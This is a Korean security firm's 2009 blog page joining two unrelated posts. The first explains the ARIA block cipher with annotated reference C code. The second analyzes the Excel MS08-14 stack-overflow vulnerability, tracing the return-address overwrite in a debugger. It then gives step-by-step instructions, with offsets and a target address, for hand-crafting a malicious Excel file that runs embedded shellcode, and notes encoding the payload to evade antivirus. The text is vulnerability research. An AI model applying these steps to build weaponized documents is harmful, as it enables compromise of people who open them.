Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


ARIA 암호 알고리즘에 대하여

그외 2009. 2. 10. 15:46 Posted by TEAMCR@K


▷ 작성자 : 붉은반점(r3dp0int@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)


I. 분석보고서에 대한 소개


1. 목적
ARIA는 전자정부 구현을 위해 개발되고 최근에 소스코드를 홈페이지에 공개한 ARIA 암호 알고리즘에 대해 공부해보고 그 원리에 대한 이해를 돕기 위해 명세서와 소스코드를 나름대로의 논리로 정리해 보았습니다. 본 문서는 전자도서관 등에서 구할 수 있는 논문이나 현재 공개되어 있는 소스코드, 명세서, 벡터코드 등의 자료들을 참고하여 새로운 창조물이 아닌 현재 나온 자료에 대한 나름대로의 정리자료라고 할 수 있겠습니다

현재 완성된 보고서의 내용은 수학적인 부분을 중심으로 어떻게 알고리즘이 구성되었는가 의 내용입니다. 100% 이해한 내용이 아니므로 미숙한 내용이 있더라도 이해해주시기 바랍니다.


II. ARIA 암호알고리즘의 소개

1. 소개
ARIA는 전자정부 구현 등으로 다양한 환경에 적합한 암호 알고리즘이 필요함에 따라 국가보안기술연구소(NSRI) 주도로, 학계, 국가정보원 등의 암호기술 전문가들이 힘을 모아 개발한 국가 암호화 알고리즘입니다.
ARIA는 경량 환경 및 하드웨어 구현을 위해 최적화된, Involutional SPN 구조를 갖는 범용 블록 암호 알고리즘입니다. ARIA의 주요 특성은 다음과 같습니다.

 블록 크기 : 128비트
 키 크기 : 128/192/256비트 (AES와 동일 규격)
 전체 구조: Involutional Substitution-Permutation Network
 라운드 수 : 12/14/16 (키 크기에 따라 결정됨)

ARIA는 경량 환경 및 하드웨어에서의 효율성 향상을 위해 개발되었으며, ARIA가 사용하는 대부분의 연산은 XOR과 같은 단순한 바이트 단위 연산으로 구성되어 있습니다. ARIA라는 이름은 Academy(학계), Research Institute(연구소), Agency(정부 기관)의 첫 글자들을 딴 것으로, ARIA 개발에 참여한 학•연•관의 공동 노력을 표현하고 있습니다.

ARIA는 2004년 12월 30일에 한국산업규격 KS표준으로 제정되었으며 소스코드, 명세서 등의 자료들은 현재 국가사이버안전센터 IT인증사무국 홈페이지에서 배포하고 있습니다.


2. SEED와 차이점

 

ARIA

SEED

표준화

기술표준원에서 제정

정보통신단체표준(TTA)제정

IETF 표준으로 제정,

ISO/IEC 국제블록암호알고리즘 표준으로 제정

길이

128비트 고정적

128, 196, 256비트 가변적

알고리즘 구조

Feistal 구조

SPN 구조

성능차이

ARIA : SEED 암호화 시간 비율 = 1 : 2 (성능 면에서 ARIA 우수)




III. ARIA 알고리즘의 구조

1. 개요

ARIA는 대치, 확산, 키 적용 단계를 반복하는 SPN 구조로써 대치 단계에서는  S-box를 이용하여 바이트 단위로 치환을 하고, 확산 단계에서는 16X16 Involution 이진 행렬을 사용한 바이트 간의 확산을 한다.
n라운드 암호화와 복호화 과정은 최초의 키(eK1)를 적용한 후에 S-box 대치, 확산 , 키 적용 단계를 n-1 라운드 반복한 이후 최종 단계 n라운드에서는 S-box 치환과 키 적용 단계로만 구성을 하고 있습니다. (이유: 암호화와 복호화를 동일하게 하기 위해)


[그림 1] ARIA 암호화와 복호화 과정


2. 세부사항
1) 치환 계층(SubstLayer)
두 유형의 치환 계층이 있으며, 각각은 2종의 8비트 입출력 S-box와 그들의 역변환(reverse)로 구성됩니다.

 S-box에 요구되는 성질
i. 최대 차분 / 선형 확률 : 2-6
ii. 대수적 차수 : 7
iii. 고정점, 반고정점이 없을 것.

일반적으로 이 같은 성질을 만족시키기 위하여 유한체 GF(28)상의 함수 x-1에 아핀변환(affine Transformation)을 사용하고 있습니다.
S-box S1,S2는 아래의 식이 성립:
S1 = Bx-1 XOR b  // S2 = Cx247 XOR c
B,C는 8x8 정칙행렬이고, b,c는 8x1 행렬입니다.

S-box에서는 S1,S2와 함께 S1-1,S2-1을 사용하여 총 4개의 S-box를 사용합니다.
S1과 S1-1, S2와 S2-1은 서로 역의 관계입니다.
S-box는 32비트 단위를 사용.

2) 확산 계층(Diffusion Layer)
간단한 16 x 16 involution 이진 행렬을 사용한 바이트 간의 확산 함수로 구성되어 있습니다.

 ARIA의 확산함수
A : GF(28)16  GF(28)16
입력 : (x0,x1,….,x15)
출력 : (y0,y1,….,y15)

16 x 16 이진행렬의 곱으로 표현
A는 A-1 = A로써 Involution 구조. 입력(y0,y1,y2,…..,y15) 출력(x0,x1,….,x15)가 가능.
가지수 β(A) = 8 = min{wt(x) + wt(Ax) | x∈ GF(28)16, x≠0} (단, wt(x) = x의 Hamming weight(‘x’에 포함된 ‘0’이 아닌 바이트 수))


3) 키 확장(Key Expansion, AddRoundKey)
초기화 과정에서는 암/복호화 한 라운드를 F함수로 하는 256비트 입출력 3라운드 Feistel 암호를 이용하여, 암호키 MK로부터 4 개의 128비트 값 W0,W1,W2,W3를 생성합니다. MK의 길이는 128, 192, 256가 가능하므로 Feistel 암호의 입력에 필요한 256비트(KL,KR)을 다음과 같이 구성합니다.

128비트 KL은 MK의 상위 128비트를 취합니다.
MK의 남은 비트를 이용하여 KR의 상위 비트를 채우고 나머지는 0으로 채웁니다.
KL || KR = MK || 0….0   >> MK가 128비트인 경우
KL || KR = MK(128) || (129~192),0….0   >> MK가 192비트인 경우

FO와 Fe를 각각 홀수(LT)와 짝수(LT-1)라운드 함수라고 할 때, W0,W1,W2,W3 은 다음의 공식으로 생성합니다.
W0 = KL
W1 = FO(W0,CK1) XOR KR
W2 = Fe(W1,CK2) XOR W0
W3 = FO(W2,CK3) XOR W1

Feistel 암호의 128비트 라운드 키 CKi는 π-1의 유리수 부분의 128비트 상수
C1 = 0x517cc1b727220a94fe13abe8fa9a6ee0
C2 = 0x6db14acc9e21c820ff28b1d5ef5de2b0
C3 = 0xdb92371d2126e9700324977504e8c90e

암호키 길이

CK1

CK2

CK3

128-비트

C1

C2

C3

192-비트

C3

C1

C2

256-비트

C2

C3

C1

 
 라운드 키 생성과정
위에서 나온 값들을 이용하여 암호화와 복호화 라운드 키(eki, dki)를 생성합니다.
라운드 수는 x비트일 경우 (x+256)/32 라운드 수. (각각 12,14,16 라운드)
마지막 라운드에 키 덧셈 계층이 두 번 있으므로 13,15,17 개의 라운드 키 생성.

 라운드 암호화 키 생성 공식
ek1 = (W0) XOR (W1>>>19),  ek2 = (W1) XOR (W2>>>19)
ek3 = (W2) XOR (W3>>>19),  ek4 = (W3) XOR (W0>>>19)
ek5 = (W0) XOR (W1>>>31),  ek6 = (W1) XOR (W2>>>31)
ek7 = (W2) XOR (W3>>>31),  ek8 = (W3) XOR (W0>>>31)
ek9 = (W0) XOR (W1>>>61),  ek10 = (W1) XOR (W2>>>61)
ek11 = (W2) XOR (W3>>>61), ek12 = (W3) XOR (W0>>>61)
ek13 = (W0) XOR (W1>>>31), ek14 = (W1) XOR (W2>>>31)
ek15 = (W2) XOR (W3>>>31), ek16 = (W3) XOR (W0>>>31)
ek17 = (W2) XOR (W3>>>19)

 복호화 라운드 키 생성 공식
dk1 = ekn+1, dk2 = A(ekn), dk3 = A(ekn-1), …. , dkn = A(ek2), dkn+1 = ek1


3. 소스코드 분석
현재 국가보안기술연구소 홈페이지에 공개되어 있는 소스는 테스트 용도로써 치환, 확산, 키 확장 등의 원리를 이해하는데 도움이 되었으며, 본 소스코드 암호화 이후의 결과가 정상적으로 이루어지는가와 암호화 복호화가 잘 이루어 지는가에 대한 확인을 그 목적으로 하고 있습니다.

1) 중요 함수
확산 계층 함수, 암호화 키 생성 함수, 복호화 키 생성 함수, 라운드 키 생성함수, 치환 및 암호화 함수

2) 확산 계층 함수 – DL(const Byte *i, Byte *o)
확산 계층 함수 : DL함수(FO, Fe 부분을 담당)
입력값 : input 배열과 output 배열 선언 >> DL(const Byte *I, Byte *O)
확산과정을 거치기 위한 임의의 공간 T 선언 >> Byte T;
일정한 규칙에 따른 4개의 인자 값을 XOR 계산                                                           
출력값 output 배열에 T값과 해당되는 인자 값에 키 값과 XOR 한 값을 저장합니다.

소스코드 일부분:
 T = i[ 3] ^ i[ 4] ^ i[ 9] ^ i[14]; // T 값에 XOR 결과값 입력
 o[ 0] = i[ 6] ^ i[ 8] ^ i[13] ^ T; // T와 각각의 output 값 생성
 o[ 5] = i[ 1] ^ i[10] ^ i[15] ^ T;
 o[11] = i[ 2] ^ i[ 7] ^ i[12] ^ T;
 o[14] = i[ 0] ^ i[ 5] ^ i[11] ^ T;

 
3) 암호화 키 생성 함수 – EncKeySetup(const Byte *w0, Byte *e, int keyBits)
입력값은 첫번째 라운드 키 w0, 암호화된 라운드 키 e, 키 비트 KeyBits
임시 저장장소 t[16], 라운드 키 w1[16], w2[16], w3[16]
q = Fesitel 암호 라운드 키 세가지 구분(0 = C1, 1 = C2, 2 = C3)


int EncKeySetup(const Byte *w0, Byte *e, int keyBits) {
 int  i, R=(keyBits+256)/32, q;
 Byte t[16], w1[16], w2[16], w3[16];
 
 q = (keyBits - 128) / 64;  // Feistel 암호 라운드 키 C1=0, C2=1, C3=2
 for (i = 0; i < 16; i++) t[i] = S[     i  % 4][KRK[q][i   ] ^ w0[i]];
// S-box 에서 x값은 S-box s1,s2,s1-1,s2-1 4가지가 한번씩 돌아가면서 입력되도록 체크
// KRK[q][i]^w0[i] Feistel 암호 라운드 키와 암호화 라운드 키를 한 비트씩 XOR 연산

 DL (t, w1); // 확산함수를 통한 w1값 결정
 if (R==14)
  for (i = 0; i <  8; i++) w1[i] ^= w0[16+i];
 else if (R==16)
  for (i = 0; i < 16; i++) w1[i] ^= w0[16+i];
 
 q = (q==2)? 0 : (q+1);
 for (i = 0; i < 16; i++) t[i] = S[(2 + i) % 4][KRK[q][i] ^ w1[i]];
 DL (t, w2); // 확산함수를 통한 w2 결정
 for (i = 0; i < 16; i++) w2[i] ^= w0[i]; //w2와 w0 XOR 연산
 
 q = (q==2)? 0 : (q+1);
// Feistel 암호화 라운드 키를 키 비트수에 따라 하나씩 밀려서 쓰기 때문에 이와 같은 방법을 선택. 2가 되면 0으로 돌리고, 2가 되기 전까지는 +1 을 함.
 for (i = 0; i < 16; i++) t[i] = S[     i  % 4][KRK[q][i] ^ w2[i]];
 DL (t, w3); //
 for (i = 0; i < 16; i++) w3[i] ^= w1[i];
 
 for (i = 0; i < 16*(R+1); i++) e[i] = 0;  //e[i]  값을 초기화
 
아래의 RotXOR 함수는 아래에서 따로 설명하겠습니다.
 RotXOR (w0, 0, e      ); RotXOR (w1,  19, e      );
 RotXOR (w1, 0, e +  16); RotXOR (w2,  19, e +  16);
 RotXOR (w2, 0, e +  32); RotXOR (w3,  19, e +  32);
 RotXOR (w3, 0, e +  48); RotXOR (w0,  19, e +  48);
 RotXOR (w0, 0, e +  64); RotXOR (w1,  31, e +  64);
 RotXOR (w1, 0, e +  80); RotXOR (w2,  31, e +  80);
 RotXOR (w2, 0, e +  96); RotXOR (w3,  31, e +  96);
 RotXOR (w3, 0, e + 112); RotXOR (w0,  31, e + 112);
 RotXOR (w0, 0, e + 128); RotXOR (w1,  67, e + 128);
 RotXOR (w1, 0, e + 144); RotXOR (w2,  67, e + 144);
 RotXOR (w2, 0, e + 160); RotXOR (w3,  67, e + 160);
 RotXOR (w3, 0, e + 176); RotXOR (w0,  67, e + 176);
 RotXOR (w0, 0, e + 192); RotXOR (w1,  97, e + 192);
 if (R > 12) {
  RotXOR (w1, 0, e + 208); RotXOR (w2,  97, e + 208);
  RotXOR (w2, 0, e + 224); RotXOR (w3,  97, e + 224);
 }
 if (R > 14) {
  RotXOR (w3, 0, e + 240); RotXOR (w0,  97, e + 240);
  RotXOR (w0, 0, e + 256); RotXOR (w1, 109, e + 256);
 }
 return R;
}


4) 복호화 키 생성 함수 – DecKeySetup(const Byte *w0, Byte *d, int keyBits)
w0 : 암호화 라운드 첫번째 값, d : 복호화 라운드 키, KeyBits : 키 비트 수
int DecKeySetup(const Byte *w0, Byte *d, int keyBits) {
 int  i, j, R;
 Byte t[16];
 
 R=EncKeySetup(w0, d, keyBits);  // 암호화 라운드 키 생성
// d값에는 암호화된 라운드 키가 입력되어 있음.

 for (j = 0; j < 16; j++){
  t[j] = d[j];
  d[j] = d[16*R + j]; // 암호화된 라운드 키를 치환하는 부분
  d[16*R + j] = t[j];
// 치환을 통한 복호화 라운드 키 생성
 }
 for (i = 1; i <= R/2; i++){
  DL (d + i*16, t);
  DL (d + (R-i)*16, d + i*16);
  for (j = 0; j < 16; j++) d[(R-i)*16 + j] = t[j];
 }
// 확산 및 치환 단계를 처리하는 부분
 return R;
}


5) 라운드 키 생성 함수 – RotXOR(const Byte *s, int n, Byte *t)
s : 라운드 키로 얻은 네, 개의 비트 값, n : 쉬프트 비트 수, 암호화 키 배열 eKi값
void RotXOR (const Byte *s, int n, Byte *t)
{
 int i, q;
 
 q = n/8; n %= 8;
 for (i = 0; i < 16; i++) {
  t[(q+i) % 16] ^= (s[i] >> n);
  if (n != 0) t[(q+i+1) % 16] ^= (s[i] << (8-n)); 
 }
// 두 가지 경우의 수로 나누어서 비트 쉬프트 연산과 XOR 연산 수행
}


6) 치환 및 암호화 함수 – Crypt(const Byte *p, int R, const Byte *e, Byte *c)
P : 평문 바이너리, R : 라운드 수, e :
void Crypt(const Byte *p, int R, const Byte *e, Byte *c)
{
 int i, j;
 Byte t[16];
 
 for (j = 0; j < 16; j++) c[j] = p[j]; 
 for (i = 0; i < R/2; i++) // 라운드의 절반만 루프를 돌린다 하지만 내부에 두 번씩(S라는 함수와 역함수S-1 교대로) 돌게 되어있음.
 {
  for (j = 0; j < 16; j++) t[j] = S[     j  % 4][e[j] ^ c[j]];
  DL(t, c); e += 16;
  for (j = 0; j < 16; j++) t[j] = S[(2 + j) % 4][e[j] ^ c[j]];
// S-box 교대로 적용하기 위해 +2가 적용됨. 나머지는 같음.
  DL(t, c); e += 16;
 }
 DL(c, t);
 for (j = 0; j < 16; j++) c[j] = e[j] ^ t[j]; // 최종 라운드에서 한번 더 ekn+1 키 교환
}


IV. 마무리

1. 끝맺으며 
ARIA 알고리즘을 분석해보겠다고 덥썩 덤벼들긴 했지만, 수학적인 능력과 암호학에 대한 이해, 분석을 위해 주어진 시간(이 부분은 능력에 비례하는 것일지도 모르겠다.)이 부족하여 결국에는 알고리즘에 대한 소개와 명세어의 요약정도에 그친 것 같아 아쉬웠습니다. 블로그들을 검색해보니 이보다 더 훌륭한 글들이 많아서 오픈해야 하나 참 많이 망설였습니다.
실제 우리 주변에서 SEED와 함께 쓰일 암호 알고리즘으로써 정부기관을 축으로 사용될 것으로 예측되고, 여러 학회에서 발표된 자료에 안전성이 어느정도는 입증(SEED보다 안전?)된 것도 같습니다. 실제로 이 부분에 대한 증명에 관한 자료도 존재하였습니다. 향후에, 이 부분에 대한 증명을 스스로 해보고 싶은 욕구도 생기더군요.
부족한 글이지만, 여기까지 읽어주셨다면 감사하다고 말씀드리고 싶네요. 읽으시느라 수고하셨습니다.

2. 참고문헌
1) 안전성과 효율성을 갖춘 128-비트 블록 암호 알고리즘 설계 및 분석 /임웅택 – 국회전자도서관 / 서울 : 숭실대 대학원, 200502
※참고한 내용 : ARIA 에 대한 소개 글에 포함된 그림 사용.

2) ARIA 명세서 및 소스코드 공개 : 국가정보원 IT 보안인증사무국 페이지 :
http://www.kecs.go.kr/pw_certified/aria_open.jsp

 

3. 용어설명
1) ARIA : Academy, Research Institute, Agency 의 약어. 학연관이 공동으로 개발함을 함축.
2) Involution 구조 : 암호화 과정과 복호화 과정이 같은 구조
3) S-box : 비선형 치환 테이블로 바이트 치환에 사용됨.
4) SPN 구조 : Substitute-Permutation-Network 구조로 S-box와 확산 함수가 반복적으로 사용되는 구조
5) Feistel 구조 : 데이터를 두 블록으로 나누어 좌우 부분에 교대로 비선형 변환을 적용시키는 구조.
6) 대칭키 암호 : 암복호화 키가 같은 암호
7) 라운드 키 : 암호키로부터 키 확장을 통하여 생성되는 값들로 암호화 및 복호화 상태에 적용됨.
8) 라운드 함수 : 블록 암호의 각 라운드에서 사용되는 함수
9) 복호화 : 암호키를 이용하여 암호문을 평문으로 바꾸는 일련의 변환들
10) 블록 : 입력, 상태, 출력, 라운드 키를 구성하는 비트 열로 열의 길이는 포함하는 비트 수를 표시, 블록은 바이트의 배열로도 해석 가능.
11) 블록 암호 : 고정된 길이의 평문 블록을 고정된 길이의 암호문 블록으로 변환하는 함수
12 ) 상태 (state) : 암호화, 복호화 과정의 중간 값
13) 아핀 변환(Affine Transformation) : 행렬의 곱과 벡터의 합이 순차적으로 구성된 변환
14) 키 확장 : 암호 키로부터 라운드 키들을 생성하는 과정
15) MK : 암호 키
16) XOR : 배타적 논리합 연산
17) A <<< k : A의 각 비트를 왼쪽으로 k비트씩 순환이동.
18) A >>> k : A의 각 비트를 오른쪽으로 k비트씩 순환이동.

▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2009년 2월 5일
최종 수정일 : 2009년 2월 5일

Hong10님께서 이번에는 "Microsoft Excel Could Allow Remote Code Execution(MS08-14)" 에 대해 집중 분석을 하였습니다. 개요 및 설명 (1부), 취약점 분석 (2부)로 하여 포스팅을 하겠습니다.


2. 취약점 분석
먼저 exploit 코드를 살펴 보면 취약한 헤더를 부분을 공략하기 위하여 특별히 제작 한 Resource 가 있습니다. 그리고 나서 Resource 뒷 바이트를 실행 시키고자 하는 바이너리와 합쳐 AV에 탐지가 안되게끔 임의로 Encode 을 함을 알 수 있습니다. 여기서 공격코드는 제가 작성한 Windows Universal ShellCode를 사용을 함으로 논의에서 빼겠습니다.

핵심은 어떻게 해서 헤더를 변조 시켜 Ret Address 를 공격 코드에 향하게 하는지 에 대하여 분석을 하겠습니다. Exploit 코드를 통하여 취약한 엑셀 파일을 생성 후 위에서 분석 한 구조체를 통하여 디버깅 한 결과 특이한 점 3가지를 발견 할 수 있었습니다.

첫 번째 엑셀 루틴에서 파일을 오픈 할 시 헤더를 분석하여 각 Storage 를 Open 하여 Stack  에 할당 하는데 읽어 드리는 사이즈가 헤더에서 정의한 Storage Dir 보다 큰 경우 파일에서 그 사이즈만큼 해당 Stack 에 값을 재할당 합니다.




위 그림에서는 사이즈가 아직 Storage 보다 크지 않기 때문에 바뀌지 않고 있습니다. 하지만 Trace 을 진행하다 보면(마지막 Storage Open 시 레코드의 사이즈가 전체 사이즈 보다 많으면 Stack에 옮기는 작업을 중단 합니다.) 그러한 루틴은 다음과 같이 확인 할 수있습니다.



위 그림에서 eax는 전체 사이즈를 나타내며 ecx는 레코드의 사이즈를 나타냅니다. 그리고 두 값을 비교하는 구문이 있는데 이것은 다음 그림에서 설명 드리겠습니다.

위에서 설명한 사이즈 비교 구문을 리턴 했을 때의 루틴입니다. Cmp [local1],edi 코드 부분을 살펴 보면 위에서 설명한 비교구문이 점프를 타지 않았다면 [local1] 값에는 1이 담겨 지게 되므로 점프를 타게 됩니다. 이는 아래의 cmp esi,809(809 레코드는 엑셀 문서 포맷에서 문서의 시작을 알립니다)

이런 루틴을 타지 않겠다는 의미이며 더 이상 Stack에 값을 할 당하지 않게 됩니다. 그리고 현재 ecx값(사이즈)은 0x5169 이며 esi 값은 0x8a2d(레코드) 값입니다. 이는 파일 오프셋의 0x2260 에 있는 값이며 후에 문제가 발생 되는 부분이기도 합니다.




어째든 최종적으로 0x00136d74 스택 메모리에는 다음과 같은 값이 할당 되었습니다.

두 번째 특이한 점은Storage 는 레코드 값으로 형성 되어 있습니다.엑셀을 이러한 레코드 값과 뒤에 할당 되어 있는 값을 읽어 드려 수행을 합니다. 이때 레코드 값이 DF 값이면 MsofallocMemcore 이란 함수를 사용하여 공격코드가 존재하는 오프셋 위치에서 사이즈 만큼 메모리에 할 당을 합니다. 해당 레코드 값을 엑셀 포맷 문서에서 찾아 본 결과 엑셀에서 그래프 같은 것을 쓸 때 생성되는 레코드 값인걸 알 수 있었습니다.




위 그림에서 문제가 되는 루틴을 자세히 살펴 보겠습니다.

300C1015   .  8B45 70       mov eax, dword ptr ss:[ebp+70]
300C1018   .  8B4D 64       mov ecx, dword ptr ss:[ebp+64]
300C101B   .  8941 04       mov dword ptr ds:[ecx+4], eax

Ebp+64 주소 값은 첫 번째 특이한 점에서 살펴본 주소 값입니다. 이 주소 값에 는 0x0013f8bc 라는 값이 할당이 되어있습니다. 그리고 ebp+70 에는 MsoAllocMemCore 함수에서 할당한 쉘 주소를 가리키는 주소 값을 가지고 있습니다. 거기에 0x0013f8bc+0x4 = 0x0013f8c0 이 되며 이 주소에는 쉘 주소를 가리키는 값을 담게 됩니다.

그림에 보면 eax 값은 0x0995000c 값이며 주소를 찾아 확인 해보면 쉘 주소임을 알 수 있습니다. 아래는 파일 오프셋의 0xe30 부근에 레코드가 0xd1e 이며 사이즈가 0x0d0a 인 값이 존재 함을 알 수있습니다.




이 값 다음에 e40 부근에 쉘 코드들이 시작 되었고 0xe3c+0xd0a = 1b46 즉 파일 오프셋 0x1b47 에 보면 다음과 같이 레코드가 0xdf 인 값을 발견 할 수 있습니다.



이는 DF 레코드 값을 처리 할 때 그 이전에 사이즈 만큼을 메모리에 할당 함을 알 수 있었습니다.

세 번째 엑셀 루틴에서 레코드 사이즈가 0x2020 보다 크다면 특정 루틴으로 향하게 됩니다. 이때 모든 루틴을 수행 하고 나서 다시 함수를 부른 주소로 돌아 갈 때 “add ebp,0x13d8 “ 라는 루틴이 존재합니다. Stack 값을 살펴 보면 ret address 는 쉘 코드가 존재하는 메모리 시작 주소를 가리키고 있으며 그 ret address 를 가리키는 Stack 값은 파일에 존재하는 특정 값으로 할당이 됩니다.

이는 첫 번째 특이한 점에서 Storage 을 Open 할 때 헤더에서 해석한 Storage Size 가 크다면 그 사이즈만큼(아마도 다음 Storage 분석을 위한 루틴인 듯) Stack 에 저장 하는데 이때 ret address 까지 덮어 씌울 수 있어서 두 번째 특이한 점에서 할당된 쉘 코드 주소로 변경 할 수 있어 실행 될 수 있었습니다.




위 그림에서 cmp eax,2020 과 비교를 하며 eax는 문제가 되는 레코드 사이즈 0x5169 값입니다.이렇게 점프를 타게 되고 쭉 trace를 하다 보면 다음과 루틴이 나오면 결국 쉘 주소로 리턴 됨을 알 수 있습니다.



위 그림에서 알 수 있듯이 add ebp,13d8 루틴으로 인해 리턴 어드레스 주소는 0x13f8c0 이며 이는 두 번째 특이한 점에서 할당된 쉘 주소를 가리키는 값임을 알 수 있습니다. 다음은 0x0905000c 루틴 입니다. 실행하면 쉘 이 실행 됨을 알 수 있습니다.



3. 취약한 엑셀 파일 만들기
분석 한 것을 토대로 취약한 엑셀 파일을 새로 만들어 보겠습니다. 참고로 DF 레코드 관련 된 엑셀 파일은 디폴트 페이지로 C:\Program Files\Microsoft Office\OFFICE11\1042 에 존재하는 XL8GALRY.XLS 파일이 있으며 예상대로 그래프 관련 엑셀 파일 이었습니다. 이 파일을 취약점 이 존재하는 파일을 만들기 위하여 다음과 같은 순서를 따르면 됩니다.

Storage 의 적정 레코드 위치(0x1de 레코드가 끝나는 오프셋)에 사이즈를 0xd0a 을 setting 한다.



 
setting 한 4바이트 뒤에 쉘 코드를 복사하여 붙여 넣는다.



0xd0a 사이즈를 setting 한 오프셋부터 0xd0a 를 더한 오프셋 위치에 다음 값을 붙여 넣습니다.



역시 setting 한 오프셋부터 0x70a 을 더한 오프셋 위치에서 다음 값을 붙여 넣으면 완성이다. 단 주의점은 ret address 위치 인데 만약 이 과정을 마친 후에 파일을 실행 했을 경우 아마 대부분 exception이 뜰 것이다.

Exception 주소를 살펴 보면 ret address 가 엉뚱한 위치를 가리켜서 그러한 것이니 해당 값을 파일에서 검색한 뒤 원하는 0xbcf81300 값으로 바꾸어 주면 쉘 을 실행할 수 잇습니다 



분석이 모자라 완벽히 리턴 어드레스 오프셋 위치까진 알 순 없었지만 그래도 취약점이 존재하는 엑셀 파일을 수동으로 만들어 볼 수 있었습니다. 이를 바탕으로 최근 패치 된 엑셀 바이너리를 분석 함으로써 새로운 취약점을 찾아 볼까 합니다.


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.